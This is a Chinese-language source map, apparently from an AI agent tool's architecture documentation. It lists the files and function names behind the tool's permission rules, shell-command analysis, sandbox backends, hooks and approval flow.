规则规范化src/permissions/rule-normalization.tsnormalizePermissionRulepermissionRulesEquivalent
配置加载src/permissions/loader.tsloadPermissionsgetPermissionSourcePathssavePermissionRule
权限模式src/permissions/mode.tsPermissionModemigratePermissionModecheckModeOverride
会话态模式src/tools/permission-mode-state.tsgetEffectivePermissionModeState
会话规则src/permissions/session.tssessionPermissions
CLI 覆盖src/permissions/cli.tsCliPermissions
shell 切段/结构src/permissions/shell-analysis.tssplitShellSegmentsparseShellAnalysistryConsumeSafeRedirect
shell 规范化src/permissions/shell-command-normalization.tsunwrapShellLauncherCommandextractPrimaryShellCommandnormalizeBashRulePayload
只读判定src/permissions/read-only-shell.tsisReadOnlyShellCommandisSafeSegmentisMemoryDirCommandALWAYS_SAFE_COMMANDS
跨 agent guardsrc/permissions/cross-agent-guard.tsevaluateCrossAgentGuardextractTargetAgentPathsclassifyPathUnderRoot
记忆路径解析src/permissions/memory-paths.tsresolveAllowedMemoryRootsresolveMemoryTargetPathderiveAgentId
工作区沙箱src/permissions/workspace-sandbox.tsevaluateWorkspaceSandboxGuardresolveWorkspaceSandbox
沙箱准入src/permissions/sandbox-gate.tsresolveShellSandboxContextwillSandboxShell
沙箱策略构建src/permissions/sandbox-policy.tsbuildCrossAgentSandboxPolicybuildMemorySubagentSandboxPolicycanonicalizeRoot
策略模型src/sandbox/policy.tsFsSandboxPolicybuildFsSandboxPolicySANDBOX_ENV_VAR
macOS 后端src/sandbox/seatbelt.tsbuildSeatbeltProfileSANDBOX_EXEC_PATH
Linux 后端src/sandbox/bwrap.tsbuildBwrapArgs
包装与探测src/sandbox/wrap.tsavailability.tswrapLauncherdetectSandboxBackendisShellSandboxEnabled
shell 包装入口src/tools/impl/shell-sandbox.tsapplyShellSandbox
子 agent 整进程 confinesrc/permissions/memory-confinement-launcher.tscreateMemoryConfinementLauncherWithAvailability
hook 类型src/hooks/types.tsHookEventHookExitCodePermissionRequestHookInput
hook 加载src/hooks/loader.tsloadHooksmergeHooksConfigsmatchesToolareHooksDisabled
hook 执行src/hooks/executor.tsexecuteHooksexecuteCommandHook
prompt hooksrc/hooks/prompt-executor.tsexecutePromptHookparsePromptResponse
hook 入口src/hooks/index.tsrunPermissionRequestHooksrunPreToolUseHooks
规则推荐src/permissions/analyzer.tsanalyzeApprovalContextanalyzeBashApprovalDANGEROUS_COMMANDS
拒绝文案src/permissions/format-denial.tsformatPermissionDenial
审批编排src/cli/app/use-approval-flow.tsuseApprovalFlowhandleApproveAlwaysrecoverRestoredPendingApprovals
结果规范化src/agent/approval-result-normalization.tsnormalizeApprovalResultsForPersistence
调用入口src/tools/manager.tscheckToolPermission

相邻章节: 架构与原理总览 · 一次回合是怎么跑的 · 本地工具层 · 记忆系统 · 自我扩展 · 多入口与常驻